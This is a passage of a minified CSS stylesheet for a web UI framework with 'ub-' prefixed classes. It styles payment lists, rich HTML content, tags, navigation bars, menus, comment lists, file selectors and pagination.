.head{padding:.5rem}}.ub-list-pay.disabled .item:hover{border-color:#eee}.ub-list-pay.inlined{background:#f8f8f8;border-radius:.5rem;padding:.5rem}.ub-list-pay.inlined .item{display:inline-block;min-width:8rem;line-height:1.5rem;cursor:default;border:1px solid var(--color-body-line);padding:.3rem .5rem}.ub-list-pay .item{line-height:2.5rem;border:2px solid #eee;padding:0 10px;border-radius:.3rem;text-align:left;color:var(--color-text);display:block;margin-bottom:.5rem}.ub-list-pay .item.active{border-color:var(--color-primary)}.ub-list-pay .item:hover{border-color:var(--color-primary)}.ub-list-pay .item .icon{width:1.5rem;height:1.5rem;vertical-align:middle;margin-right:.2rem}.ub-html{line-height:2;-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%;overflow:hidden;word-wrap:break-word}.ub-html.lg{font-size:.75rem}.ub-html.sm{font-size:.6rem}.ub-html>:first-child{margin-top:0}.ub-html>p:first-child{margin-top:0}.ub-html>p:last-child{margin-bottom:0}.ub-html p{padding:0;line-height:1.8;word-spacing:.05rem;margin:.5em 0}.ub-html img{max-width:100%}.ub-html img.ub-emotion{height:2;border:none}.ub-html iframe{max-width:100%}.ub-html p.video-player{position:relative;padding-bottom:56.25%;height:0;overflow:hidden}.ub-html p.video-player iframe{position:absolute;top:0;left:0;width:100%;height:100%}.ub-html video{max-width:100%}.ub-html a{background:0 0}.ub-html hr{-moz-box-sizing:content-box;box-sizing:content-box;height:0}.ub-html code,.ub-html kbd,.ub-html pre{font-family:"Meiryo UI","YaHei Consolas Hybrid",Consolas,"Malgun Gothic","Segoe UI","Trebuchet MS",Helvetica,monospace,monospace;font-size:1em;white-space:pre;word-spacing:normal;word-wrap:normal;tab-size:4;hyphens:none;text-align:left;line-height:1.8em;padding:1em}.ub-html table{border-spacing:0;max-width:98%;margin:1em 0;box-shadow:0 0 .1rem #ccc;display:table;text-align:left;border:.05rem solid #ddd;border-collapse:collapse;overflow:auto;word-break:keep-all}.ub-html table tr{background-color:#fff;border-top:.05rem solid #ccc}.ub-html table tr tbody{border:0}.ub-html table tr th{font-weight:700;background-color:#f0f0f0;padding:.15rem .3rem;border:.05rem solid #ddd}.ub-html table tr td{padding:.15rem .3rem;border:.05rem solid #ddd}.ub-html>p pre,.ub-html>p svg,.ub-html>p table{-webkit-box-shadow:0 0 .5rem #ccc;-moz-box-shadow:0 0 .5rem #ccc;box-shadow:0 0 .5rem #ccc;margin:1em auto;display:block}.ub-html td,.ub-html th{padding:0}.ub-html *{-moz-box-sizing:border-box;box-sizing:border-box}.ub-html input{font:.65rem/1.4 Helvetica,arial,freesans,clean,sans-serif,"Segoe UI Emoji","Segoe UI Symbol"}.ub-html a{color:#4183c4;text-decoration:none}.ub-html a:active,.ub-html a:hover{text-decoration:underline}.ub-html hr{height:0;margin:.75rem 0;overflow:hidden;background:0 0;border:0;border-bottom:.05rem solid #ddd}.ub-html hr:before{display:table;content:""}.ub-html hr:after{display:table;clear:both;content:""}.ub-html h1,.ub-html h2,.ub-html h3,.ub-html h4,.ub-html h5,.ub-html h6{font-weight:700;margin:1.2em 0 .6em 0;text-align:start}.ub-html h1{font-size:2em;margin:1em 0}.ub-html h2{font-size:1.7em;border-bottom:1px solid #eee;line-height:2em}.ub-html h3{font-size:1.5em}.ub-html h4{font-size:1.25em}.ub-html h5{font-size:1em}.ub-html h6{font-size:.85em}.ub-html blockquote{display:block;font-size:1em;overflow:auto;overflow-scrolling:touch;border-left:3px solid rgba(0,0,0,.4);background:rgba(0,0,0,.05);color:#6a737d;padding-top:.5em;padding-bottom:.5em;padding-left:1em;padding-right:.5em;margin-bottom:1em;margin-top:1em}.ub-html blockquote p{margin:.5em 0}.ub-html ol,.ub-html ul{padding:.5em 0;margin-top:0;margin-bottom:0;padding-left:1.4em}.ub-html ol li{list-style:decimal}.ub-html ul li{list-style:disc}.ub-html ol ol,.ub-html ul ol{list-style-type:lower-roman}.ub-html ol ol ol,.ub-html ol ul ol,.ub-html ul ol ol,.ub-html ul ul ol{list-style-type:lower-alpha}.ub-html dd{margin-left:0}.ub-html code{color:#d63384;word-wrap:break-word;border-radius:.2em;white-space:pre;font-family:"Source Code Pro",monospace;font-size:.9em;padding:.1em .2em}.ub-html code.formula{color:inherit;background-color:inherit;border:inherit;font-size:inherit}.ub-html pre{margin-top:0;margin-bottom:0;font-family:Consolas,"Liberation Mono",Menlo,Courier,monospace;font-size:.9em}.ub-html pre code{color:inherit;background:0 0;border:none}.ub-scroll-bar-mini::-webkit-scrollbar-track{background-color:var(--color-scrollbar-bg);border:none}.ub-scroll-bar-mini::-webkit-scrollbar{width:.25rem;height:.25rem;background-color:var(--scolor-scrollbar-thumb)}.ub-scroll-bar-mini::-webkit-scrollbar-thumb{border-radius:.5rem;background-color:var(--scolor-scrollbar-thumb)}.ub-loading{text-align:center;color:var(--color-muted);padding:1rem 0}.ub-empty{text-align:center;color:var(--color-muted);padding:5rem 0}.ub-empty.small{padding:1rem 0}.ub-empty .icon{font-size:3rem;text-align:center;color:var(--color-muted);line-height:3rem}.ub-empty .icon *{font-size:3rem;line-height:3rem}.ub-empty .icon .image{width:5rem;height:5rem;object-fit:contain}.ub-empty .text{line-height:1.5rem;color:var(--color-muted);padding-top:.5rem}.ub-load-more{text-align:center;color:#c4cfdb;padding:.5rem 0;cursor:pointer;font-size:var(--font-size)}.ub-no-more{text-align:center;color:#c4cfdb;padding:.5rem 0;font-size:var(--font-size)}.ub-text-slash-separate .item{display:inline-block}.ub-text-slash-separate .item:after{content:'/';color:#ccc;display:inline-block;margin:0 .1rem}.ub-text-slash-separate .item:last-child:after{display:none}.ub-placeholder{background:#eee;border-radius:.15rem;width:100%;min-height:1em;text-align:center;color:#c4cfdb}.ub-pair{padding:.5em 0 .5em 5em;line-height:1.5em}.ub-pair .name{float:left;margin-left:-5em;color:#c4cfdb}.ub-icon-text{display:inline-block;white-space:nowrap;padding:0 1rem 0 0}.ub-icon-text .icon{width:1rem;height:1rem;border-radius:50%;display:inline-block;margin:0 .25rem 0 0;white-space:nowrap}.ub-icon-text .text{line-height:1.5rem;text-align:center;display:inline-block;vertical-align:middle;white-space:nowrap;overflow:hidden;text-overflow:ellipsis;color:#333}.ub-tools{text-align:center}.ub-tools .item{display:inline-block;width:3rem;color:#c4cfdb;border-radius:var(--size-radius);text-align:center;padding:.2rem 0}.ub-tools .item:hover{background:#f8f8f8}.ub-tools .item.active{color:var(--color-primary)}.ub-tools .item .icon{display:block;font-size:1.5rem;line-height:1.5rem}.ub-tools .item .text{display:block}.ub-line{height:1px;background:#eee;margin-top:var(--size-margin);margin-bottom:var(--size-margin)}.ub-file-selector .ub-file-selector__action,.ub-file-selector .ub-file-selector__close,.ub-file-selector .ub-file-selector__value{display:inline-block;cursor:default;position:relative;border-radius:.2rem;line-height:1.4rem;height:1.4rem;vertical-align:bottom}.ub-file-selector .ub-file-selector__action.hidden,.ub-file-selector .ub-file-selector__close.hidden,.ub-file-selector .ub-file-selector__value.hidden{overflow:hidden;width:0;height:0;position:absolute;border:0}.ub-file-selector .ub-file-selector__item{margin-bottom:.2rem}.ub-file-selector .ub-file-selector__item.hidden{display:none!important}.ub-file-selector .ub-file-selector__item.image{position:relative;width:3rem;height:3rem;box-shadow:0 0 1px #ccc;border-radius:.1rem;display:inline-block;vertical-align:middle}.ub-file-selector .ub-file-selector__item.image.has-value:hover .tools{display:block}.ub-file-selector .ub-file-selector__item.image .cover{width:100%}.ub-file-selector .ub-file-selector__item.image .tools{position:absolute;top:0;right:0;bottom:0;left:0;background:rgba(0,0,0,.5);color:#fff;border-radius:.1rem;text-align:center;padding:1rem 0 0 0;display:none}.ub-file-selector .ub-file-selector__item.image .tools .action{color:#fff;line-height:1rem;width:1rem;height:1rem;vertical-align:top}.ub-file-selector .ub-file-selector__item.image .tools .close{position:absolute;top:.1rem;right:.1rem;width:.6rem;height:.6rem;line-height:.6rem;text-align:center;display:block}.ub-file-selector .ub-file-selector__value{border:.05rem solid #eee;padding:0 .5rem;background:#fff;white-space:nowrap;overflow:hidden;text-overflow:ellipsis}.ub-file-selector .ub-file-selector__close{cursor:pointer}@media print{.ub-print-hidden{display:none}}.ub-cover,.ub-cover-1-1,.ub-cover-1-2,.ub-cover-1-3,.ub-cover-1-4,.ub-cover-2-1,.ub-cover-2-3,.ub-cover-3-1,.ub-cover-3-2,.ub-cover-3-4,.ub-cover-3-5,.ub-cover-4-1,.ub-cover-4-3,.ub-cover-5-2,.ub-cover-5-3{display:block;overflow:hidden;background-repeat:no-repeat;background-size:cover;background-position:center}.ub-cover-1-1:after,.ub-cover-1-2:after,.ub-cover-1-3:after,.ub-cover-1-4:after,.ub-cover-2-1:after,.ub-cover-2-3:after,.ub-cover-3-1:after,.ub-cover-3-2:after,.ub-cover-3-4:after,.ub-cover-3-5:after,.ub-cover-4-1:after,.ub-cover-4-3:after,.ub-cover-5-2:after,.ub-cover-5-3:after,.ub-cover:after{content:'';display:block}.ub-cover-1-1.contain,.ub-cover-1-2.contain,.ub-cover-1-3.contain,.ub-cover-1-4.contain,.ub-cover-2-1.contain,.ub-cover-2-3.contain,.ub-cover-3-1.contain,.ub-cover-3-2.contain,.ub-cover-3-4.contain,.ub-cover-3-5.contain,.ub-cover-4-1.contain,.ub-cover-4-3.contain,.ub-cover-5-2.contain,.ub-cover-5-3.contain,.ub-cover.contain{background-size:contain}.ub-cover-1-1.circle,.ub-cover-1-2.circle,.ub-cover-1-3.circle,.ub-cover-1-4.circle,.ub-cover-2-1.circle,.ub-cover-2-3.circle,.ub-cover-3-1.circle,.ub-cover-3-2.circle,.ub-cover-3-4.circle,.ub-cover-3-5.circle,.ub-cover-4-1.circle,.ub-cover-4-3.circle,.ub-cover-5-2.circle,.ub-cover-5-3.circle,.ub-cover.circle{border-radius:50%}.ub-cover-1-1:after{margin-top:100%}.ub-cover-3-1:after{margin-top:33.33333333%}.ub-cover-1-3:after{margin-top:300%}.ub-cover-4-1:after{margin-top:25%}.ub-cover-1-4:after{margin-top:400%}.ub-cover-4-3:after{margin-top:75%}.ub-cover-3-4:after{margin-top:133.3333333%}.ub-cover-3-2:after{margin-top:66.6666667%}.ub-cover-2-3:after{margin-top:150%}.ub-cover-2-1:after{margin-top:50%}.ub-cover-1-2:after{margin-top:200%}.ub-cover-5-2:after{margin-top:40%}.ub-cover-5-3:after{margin-top:60%}.ub-cover-3-5:after{margin-top:166.6666667%}.ub-cover-5-4:after{margin-top:80%}.ub-cover-4-5:after{margin-top:125%}.ub-cover-6-5:after{margin-top:80%}.ub-cover-5-6:after{margin-top:120%}.ub-cover-7-6:after{margin-top:85.7%}.ub-cover-6-7:after{margin-top:116.6666667%}.ub-comment-list .comment-item{padding-left:2.25rem}.ub-comment-list .comment-item:hover>.comment-foot .action{display:block}.ub-comment-list .comment-item .comment-head{position:relative}.ub-comment-list .comment-item .comment-head .user-avatar{width:1.8rem;height:1.8rem;display:block;position:absolute;left:-2.25rem;top:.25rem}.ub-comment-list .comment-item .comment-head .user-avatar .image{width:1.8rem;height:1.8rem;border:1px solid #fff;border-radius:50%}.ub-comment-list .comment-item .comment-head .user-name{display:inline-block;color:var(--color-text)}.ub-comment-list .comment-item .comment-head .time{display:inline-block;color:#c4cfdb;margin-left:1rem}.ub-comment-list .comment-item .comment-body{padding-top:.75rem}.ub-comment-list .comment-item .comment-body .content{color:var(--color-text)}.ub-comment-list .comment-item .comment-foot{padding-top:.75rem;overflow:hidden;border-bottom:1px solid #e8e8e8;margin-bottom:1rem;padding-bottom:1rem}.ub-comment-list .comment-item .comment-foot .action{float:right;display:none}.ub-comment-list .comment-item .comment-foot .action .item{margin:0 0 0 1rem}.ub-comment-list .comment-item .comment-foot .item{color:#c4cfdb;display:inline-block;margin:0 1rem 0 0}.ub-comment-editor-box{padding-left:2.5rem;position:relative;padding-top:1rem}.ub-comment-editor-box .user-avatar{width:1.8rem;height:1.8rem;display:block;position:absolute;left:0;top:1rem}.ub-comment-editor-box .user-avatar .image{width:1.8rem;height:1.8rem;border:1px solid #fff;border-radius:50%}.ub-comment-editor-box .submit{padding-top:.5rem}@media screen and (max-width:40rem){.ub-comment-list .comment-item{padding-left:2.25rem}.ub-comment-list .comment-item>.comment-foot .action{display:block}}.ub-tag{display:inline-block;padding:.2rem .35rem;font-size:.65rem;height:1.2rem;line-height:.8rem;color:var(--color-text);text-align:center;white-space:nowrap;vertical-align:baseline;border-radius:50rem;cursor:default;background-color:rgba(0,0,0,.04)}.ub-tag.sm{font-size:.5rem;height:1rem;line-height:.6rem}.ub-tag.lg{font-size:.8rem;height:1.4rem;line-height:1rem;padding:.2rem .5rem}.ub-tag.danger{color:var(--color-danger);background-color:#fff2f0}.ub-tag.warning{color:var(--color-warning);background-color:#fff2f0}.ub-tag.success{color:var(--color-success);background-color:#f6ffed}.ub-tag.primary{color:var(--color-primary)}.ub-tag.info{background-color:#e6f4ff;color:#1677ff}.ub-nav-header{font-size:1.5rem;font-weight:700;padding:2rem 0;text-align:center;opacity:.9}.ub-nav-header-sub{opacity:.5;text-align:center;font-size:1rem;margin-top:-3rem;padding:2rem 0}@media screen and (max-width:40rem){.ub-nav-header{padding:1rem 0;font-size:var(--font-size-large)}.ub-nav-header-sub{margin-top:-2rem;padding:1rem 0;font-size:var(--font-size)}}.ub-dropdown{position:relative;display:inline-block;cursor:pointer}.ub-dropdown:hover .ub-dropdown-list{display:block}.ub-dropdown .ub-dropdown-list{display:none;position:absolute;left:0;top:100%;background:#fff;box-shadow:0 0 1px #c4cfdb;border-radius:.2rem;z-index:1000}.ub-dropdown .ub-dropdown-list .ub-dropdown-list-item{display:block;color:var(--color-text);padding:0 .5rem;line-height:1.5rem;margin:0;white-space:nowrap}.ub-dropdown .ub-dropdown-list .ub-dropdown-list-item:hover{color:var(--color-primary);background:#eee}.ub-breadcrumb{min-height:2rem;padding:.5rem 0;white-space:nowrap;overflow:auto}.ub-breadcrumb .text,.ub-breadcrumb span{color:var(--color-tertiary)}.ub-breadcrumb .text.active,.ub-breadcrumb span.active{color:var(--color-primary)}.ub-breadcrumb .item,.ub-breadcrumb a{color:var(--color-tertiary);display:inline-block;padding-right:.5rem;line-height:1rem}.ub-breadcrumb .item:after,.ub-breadcrumb a:after{content:'';display:inline-block;margin-left:.5rem;color:var(--color-tertiary-light);background-image:var(--icon-arrow);width:.4rem;height:.4rem;background-size:contain;background-repeat:no-repeat;opacity:.3}.ub-breadcrumb .item:last-child:after,.ub-breadcrumb a:last-child:after{display:none}.ub-breadcrumb .item.active,.ub-breadcrumb a.active{color:var(--color-primary)}.ub-nav{padding:var(--size-margin);background:#fff;border-radius:var(--size-radius);position:relative}.ub-nav .tag-label{position:absolute;left:var(--size-margin);top:var(--size-margin);line-height:1rem;padding:.1rem .4rem;margin:0 .25rem 0 0;color:var(--color-primary)}.ub-nav .tag-value{padding-left:4em}.ub-nav .tag-value .tag-item{display:inline-block;position:relative;border:1px solid #eee;border-radius:.8rem;line-height:1rem;padding:.1rem .5rem;margin:0 .25rem 0 0;cursor:default}.ub-nav .tag-value .tag-item:hover .close{display:block}.ub-nav .tag-value .tag-item .close{padding:0;margin:0;font-size:.4rem;position:absolute;width:.7rem;height:.7rem;text-align:center;line-height:.7rem;top:-.3rem;right:-.3rem;background:rgba(0,0,0,.5);color:#fff;border-radius:50%;display:none}.ub-nav .nav-right{float:right}.ub-nav .nav-right .item{margin-right:0}.ub-nav .nav-right .item.active{background:0 0;color:var(--color-primary)}.ub-nav .item,.ub-nav a{display:inline-block;color:var(--color-text);border-radius:.8rem;line-height:1rem;padding:.2625rem .5rem;margin:0 .25rem 0 0}.ub-nav .item:hover,.ub-nav a:hover{color:var(--color-primary)}.ub-nav .item.active,.ub-nav a.active{background:var(--color-primary);color:#fff}.ub-nav-group{background:var(--color-content-bg);border-radius:var(--size-radius)}.ub-nav-group.bare .group{padding-left:0}.ub-nav-group.flat .group{padding:0}.ub-nav-group.flat .group .label{position:static;width:auto;text-align:left;padding:.5rem .5rem 0 .5rem}.ub-nav-group.flat .group .label .text{position:static;margin:0}.ub-nav-group.flat .group .items{position:static}.ub-nav-group .group{background:var(--color-content-bg);position:relative;padding-left:4rem;overflow:hidden;min-height:2rem;border-radius:var(--size-radius)}.ub-nav-group .group .label{width:4rem;background:#fff;position:absolute;top:0;left:0;height:100%;text-align:center}.ub-nav-group .group .label .text{width:100%;position:absolute;left:50%;top:50%;margin-left:-50%;height:1rem;margin-top:-.5rem;font-size:var(--font-size,.65rem)}.ub-nav-group .group .items{padding:.5rem .5rem .25rem .5rem;border-bottom:1px solid var(--color-body-bg)}.ub-nav-group .group .items .item,.ub-nav-group .group .items a{display:inline-block;color:var(--color-text);line-height:1rem;padding:.25rem .4rem;margin:0 .15rem .15rem 0;border-radius:.8rem;text-align:center;background:#f8f8f8}.ub-nav-group .group .items .item:hover,.ub-nav-group .group .items a:hover{color:var(--color-primary)}.ub-nav-group .group .items .item.active,.ub-nav-group .group .items a.active{background:var(--color-primary);color:#fff}@media screen and (max-width:40rem){.ub-nav-group .group{padding:0}.ub-nav-group .group .label{position:static;width:auto;text-align:left;padding:.5rem .5rem 0 .5rem}.ub-nav-group .group .label .text{position:static;margin:0}.ub-nav-group .group .items{position:static;white-space:nowrap;overflow-x:auto}}.ub-nav-tab{background:#fff;border-radius:var(--size-radius) var(--size-radius) 0 0;border-bottom:.05rem solid #eee}.ub-nav-tab.mini .item,.ub-nav-tab.mini a{line-height:1rem}.ub-nav-tab .item,.ub-nav-tab a{display:inline-block;color:var(--color-text);line-height:1.4rem;padding:var(--size-margin);margin:0 .25rem 0 0;border-bottom:.1rem solid #fff;fong-weight:700}.ub-nav-tab .item.active,.ub-nav-tab a.active{color:var(--color-primary);border-bottom:.1rem solid var(--color-primary)}.ub-nav-tab-body{background:#fff;border-radius:0 0 var(--size-radius) var(--size-radius);padding:.5rem}.ub-nav-tab-body.hidden{width:0;height:0;overflow:hidden;padding:0}@media screen and (max-width:40rem){.ub-breadcrumb{padding-left:var(--size-margin);padding-right:var(--size-margin)}.ub-nav{min-height:2.25rem;overflow-x:auto;overflow-y:hidden}}.ub-nav-mobile-foot-spacer{height:2.3rem;clear:both}.ub-nav-mobile-foot{position:fixed;bottom:0;left:0;right:0;display:flex;justify-content:space-between;align-items:center;background-color:#fff;border-top:.05rem solid #e7e7e7;border-bottom:.05rem solid #f8f8f8;-webkit-box-pack:justify;z-index:1001;padding:.25rem 1rem;height:2.3rem}.ub-nav-mobile-foot .item{text-align:center;display:block;color:#5d656b;text-decoration:none;flex:1;position:relative}.ub-nav-mobile-foot .item.active{color:var(--color-primary)}.ub-nav-mobile-foot .item.active .icon{color:var(--color-primary)}.ub-nav-mobile-foot .item.active .icon .img{color:var(--color-primary)}.ub-nav-mobile-foot .item .icon{font-size:1.1rem;height:1.1rem;line-height:1.1rem;color:#5d656b}.ub-nav-mobile-foot .item .icon .img{font-size:1.1rem;height:1.1rem;line-height:1.1rem;color:#5d656b}.ub-nav-mobile-foot .item .title{height:.6rem;font-size:.6rem;-webkit-transform:scale(.83333333);transform:scale(.83333333)}.ub-nav-mobile-foot .item .name{font-size:var(--font-size)}.ub-nav-mobile-foot .item .badge{position:absolute;top:0;left:60%;background:red;color:#fff;height:.8rem;line-height:.8rem;font-size:.6rem;border-radius:.4rem;min-width:.8rem;text-align:center;padding:0 .2rem}.ub-nav-mobile-foot-nav-spacer{height:2rem;clear:both}.ub-nav-mobile-foot-nav{position:fixed;bottom:2.3rem;left:0;right:0;display:flex;justify-content:space-between;align-items:center;background-color:#e7e7e7;border-top:.05rem solid #e7e7e7;border-bottom:.05rem solid #f8f8f8;z-index:1001;height:2rem;padding:.05rem 0 0 0}.ub-nav-mobile-foot-nav .item{text-align:center;display:block;color:#5d656b;text-decoration:none;flex-grow:1;margin:0 .05rem;background:#fff}.ub-nav-mobile-foot-nav .item.disabled .icon .img{color:#c4cfdb}.ub-nav-mobile-foot-nav .item.disabled .name{color:#c4cfdb}.ub-nav-mobile-foot-nav .item .icon{height:2rem;line-height:2rem;color:var(--color-primary);display:inline-block}.ub-nav-mobile-foot-nav .item .icon .img{font-size:var(--font-size);height:2rem;line-height:2rem;color:var(--color-primary)}.ub-nav-mobile-foot-nav .item .name{display:inline-block;color:var(--color-primary);font-size:var(--font-size)}.ub-nav-grid{display:flex;justify-content:space-between;align-items:center;border-top:.05rem solid #e7e7e7;border-bottom:.05rem solid #f8f8f8;-webkit-box-pack:justify;margin:0;padding:0;border-top:.05rem solid #eee;border-left:.05rem solid #eee;background-color:#f2f2f2;width:100%;flex-wrap:wrap}.ub-nav-grid.g3:after{content:"";width:33.3333%}.ub-nav-grid.g3 .item{width:33.3333%}.ub-nav-grid .item{text-align:center;display:block;color:#5d656b;text-decoration:none;vertical-align:top;border-right:.05rem solid #eee;border-bottom:.05rem solid #eee;padding:1rem .5rem;width:50%;background:#fff;flex-shrink:0}.ub-nav-grid .item .icon{font-size:1.1rem;height:1.1rem;line-height:1.1rem;color:#5d656b}.ub-nav-grid .item .icon .img{font-size:1.1rem;height:1.1rem;line-height:1.1rem;color:#5d656b}.ub-nav-grid .item .title{height:.6rem;font-size:.6rem;line-height:1rem}.ub-nav-category .group-title{font-size:.8rem;display:block;color:var(--color-text)}.ub-nav-category .group-list{padding:0 0 .5rem 0}.ub-nav-category .group-list .item{font-size:var(--font-size);color:var(--color-tertiary);display:inline-block;margin:0 .25rem .25rem 0;line-height:1.2rem}.ub-nav-category .group-list .item.active,.ub-nav-category .group-list .item:hover{color:var(--color-primary)}.ub-menu-layout-shrink .ub-menu-layout-container{padding-left:3rem}.ub-menu-layout-shrink .ub-menu-layout>.body{width:3rem}.ub-menu-layout-shrink .ub-menu-layout>.body .item{color:#333;padding:.4rem 0;text-align:center;display:none}.ub-menu-layout-shrink .ub-menu-layout>.body .item .icon{line-height:1.4rem;display:block;font-size:1rem;text-align:center;width:100%}.ub-menu-layout-shrink .ub-menu-layout>.body .item .text{font-size:var(--font-size-small);display:block;padding:0;line-height:1rem}.ub-menu-layout-shrink .ub-menu-layout>.body .item.item-main{display:block}.ub-menu-layout-shrink .ub-menu-layout>.body .item-main{display:block}.ub-menu-layout-shrink .ub-menu-layout>.body .foot{display:none}.ub-menu-layout-shrink .ub-menu-layout>.body .item-title{display:none}.ub-menu-layout-shrink .ub-menu-layout>.body .item-title.item-main{display:block}.ub-menu-layout-container{padding-left:10rem}.ub-menu-layout{position:fixed;top:0;left:0;z-index:2000}.ub-menu-layout .toggle{position:fixed;width:3rem;height:3rem;left:0;top:0;line-height:3rem;text-align:center;color:#333;font-size:1rem}.ub-menu-layout>.body{position:fixed;top:3rem;left:0;bottom:0;overflow-y:auto;background:var(--color-content-bg);border-right:1px solid #eee;width:16em}.ub-menu-layout>.body .item{color:#333;display:block;padding:0 1rem;line-height:1.8rem}.ub-menu-layout>.body .item.active{color:var(--color-primary)}.ub-menu-layout>.body .item.active:hover{color:var(--color-primary);background:var(--color-content-bg)}.ub-menu-layout>.body .item:hover{background:var(--color-body-bg)}.ub-menu-layout>.body .item .icon{display:inline-block;width:1.2rem}.ub-menu-layout>.body .item .text{display:inline-block}.ub-menu-layout>.body .item-title{margin-top:1rem;padding:.5rem 1rem;font-size:.8rem;font-weight:500;color:#1d1d1d;border-top:1px solid #f0f0f0}.ub-menu-layout>.body .foot{margin-top:1rem;padding:1rem}.ub-menu-layout>.body .foot .link{overflow:hidden}.ub-menu-layout>.body .foot .link a{color:#c4cfdb;display:block;width:50%;float:left}.ub-menu-layout>.body .foot .copy{padding-top:.5rem}.ub-menu-layout>.body .foot .copy a{color:#c4cfdb}.ub-menu{border-radius:.25rem;background:#fff;padding:.5rem 0}.ub-menu.lg{font-size:.7rem}.ub-menu.lg .title{line-height:2.5rem}.ub-menu.lg .items a{line-height:2.5rem}.ub-menu.simple .title:before{transform:rotate(0)}.ub-menu .title{line-height:2rem;padding:0 1rem;display:block;color:#333;cursor:pointer;white-space:nowrap;overflow:hidden;text-overflow:ellipsis}.ub-menu .title:has(+.open):before{transform:rotate(90deg)}.ub-menu .title a{color:var(--color-text)}.ub-menu .title a:hover{color:var(--color-primary)}.ub-menu .title:before{content:'';background:var(--icon-arrow) no-repeat center;background-size:contain;width:.4rem;height:.4rem;margin-top:.8rem;opacity:.3;display:block;color:#ccc;float:right;transform:rotate(0);transition:all .3s}.ub-menu .title.active{color:var(--color-primary);border-right:4px solid var(--color-primary);background-color:var(--color-primary-light-bg)}.ub-menu .title.active a{color:var(--color-primary)}.ub-menu .title:hover{color:var(--color-primary)}.ub-menu .title .icon{display:inline-block;width:1.2em}.ub-menu .items{display:none}.ub-menu .items.open{display:block}.ub-menu .items a{line-height:2rem;padding:0 .5rem 0 1.9rem;display:block;color:var(--color-text);white-space:nowrap;overflow:hidden;text-overflow:ellipsis}.ub-menu .items a.active{color:var(--color-primary);background-color:var(--color-primary-light-bg);border-right:4px solid var(--color-primary)}.ub-menu .items a:hover{color:var(--color-primary)}.ub-menu.nav-menu{padding:.25rem 0}@media screen and (max-width:40rem){.ub-menu.simple{white-space:nowrap;overflow-x:auto;padding-left:.5rem;padding-right:.5rem;line-height:0}.ub-menu.simple .title{display:inline-block;min-width:4em;border-right:none;border-radius:.5rem}.ub-menu.simple .title:before{display:none}.ub-menu.nav-menu{display:flex;margin-bottom:.5rem;white-space:nowrap;overflow-x:auto;padding:0}.ub-menu.nav-menu .title{display:inline-block;padding:0 .2rem;flex-grow:1;text-align:center;min-width:5rem}.ub-menu.nav-menu .items.open{display:block;background:#fff;box-shadow:0 0 5px #ccc;border-radius:0 0 .4rem .4rem;position:absolute;z-index:1000;top:2rem}.ub-menu.nav-menu .items.open a{padding:0 .15rem;text-align:center;text-overflow:ellipsis;overflow:hidden}}.ub-menu-tree{border-radius:.25rem;background:#fff;padding:.5rem 0}.ub-menu-tree.no-arrow .item .title{padding-left:0}.ub-menu-tree.no-arrow .item .title:before{display:none}.ub-menu-tree .page-menu-container>.item,.ub-menu-tree>.item{padding:0 .5rem}.ub-menu-tree .item a{color:var(--color-text)}.ub-menu-tree .item .title{display:flex;line-height:1.5;cursor:pointer;padding-left:.7rem;position:relative;margin:.5rem 0;border-radius:.25rem}.ub-menu-tree .item .title.active{background-color:var(--color-body-block-bg-hover)}.ub-menu-tree .item .title.active .title-text{color:var(--color-primary)}.ub-menu-tree .item .title.group-active .title-text,.ub-menu-tree .item .title:hover .title-text{color:var(--color-primary)}.ub-menu-tree .item .title:before{content:'';background:var(--icon-arrow) no-repeat center;background-size:contain;width:.4rem;height:.4rem;opacity:.3;transform:rotate(0);transition:all .3s;position:absolute;top:.5rem;left:.25rem}.ub-menu-tree .item .title .title-text{flex-grow:1;width:0;padding:.25rem;white-space:nowrap;overflow:hidden;text-overflow:ellipsis}.ub-menu-tree .item .title .title-action{padding:.25rem 0}.ub-menu-tree .item .title .title-action .title-action-icon{line-height:1rem;display:none;width:1rem;text-align:center;border-radius:.25rem}.ub-menu-tree .item .title .title-action .title-action-icon:hover{background-color:var(--color-body-block-bg-hover)}.ub-menu-tree .item .title.open:before{transform:rotate(90deg)}.ub-menu-tree .item .title.open+.group{display:block}.ub-menu-tree .item .title>.title-action>.title-action-icon.title-action-icon-open{display:inline-block}.ub-menu-tree .item .title.open>.title-action>.title-action-icon.title-action-icon-open{display:none}.ub-menu-tree .item .title.open>.title-action>.title-action-icon.title-action-icon-close{display:inline-block}.ub-menu-tree .item .group{padding-left:.5rem;display:none}.page-menu .page-menu-container{overflow-x:hidden;overflow-y:auto;height:100%}.page-menu-toggle{display:none}@media screen and (max-width:40rem){.page-menu{position:fixed;z-index:100;width:50%;left:-50%;bottom:0;top:0;transition:left .3s}.page-menu .page-menu-toggle{display:block;width:2.5rem;height:2.5rem;position:absolute;background:#fff;bottom:2.5rem;right:-2.5rem;border-radius:0 var(--size-radius) var(--size-radius) 0;border-left:none;font-size:var(--font-size-large);line-height:2.5rem;text-align:center;color:#c4cfdb;box-shadow:.1rem 0 .15rem #c4cfdb}.page-menu .page-menu-toggle i{display:block}body.ub-menu-page-show{overflow:hidden}body.ub-menu-page-show .page-menu{transition:left .3s;left:0;box-shadow:.1rem 0 .15rem #c4cfdb}}.ub-menu-tree-simple{border-radius:.25rem;background:#fff;padding:.5rem;box-shadow:var(--box-shadow);transition:top .3s}.ub-menu-tree-simple.close{width:2rem}.ub-menu-tree-simple.close .item{display:none}.ub-menu-tree-simple.close .tool .tool-open{display:block}.ub-menu-tree-simple.close .tool .tool-close{display:none}.ub-menu-tree-simple.page .item-container{max-height:calc(100vh - 7rem)}.ub-menu-tree-simple a{color:var(--color-text)}.ub-menu-tree-simple a:hover{color:var(--color-primary)}.ub-menu-tree-simple .item-container{overflow-x:hidden;overflow-y:auto}.ub-menu-tree-simple .item{white-space:nowrap;overflow:hidden;text-overflow:ellipsis;width:100%;margin:.25rem 0}.ub-menu-tree-simple .item.active a{color:var(--color-primary)}.ub-menu-tree-simple .item.level-1{padding-left:0}.ub-menu-tree-simple .item.level-2{padding-left:.5rem}.ub-menu-tree-simple .item.level-3{padding-left:1rem}.ub-menu-tree-simple .item.level-4{padding-left:1.5rem}.ub-menu-tree-simple .item.level-5{padding-left:2rem}.ub-menu-tree-simple .tool{text-align:center}.ub-menu-tree-simple .tool a{display:none;border-radius:.25rem}.ub-menu-tree-simple .tool a:hover{background-color:var(--color-body-block-bg-hover)}.ub-menu-tree-simple .tool .tool-close{display:block}.ub-page .pages{text-align:center;padding:1em 0}.ub-page .pages a,.ub-page .pages button,.ub-page .pages input,.ub-page .pages span{display:inline-block;line-height:1.5rem;min-width:1.5rem;text-align:center;padding:0 .25rem;color:#666;margin:0 .25rem .25rem 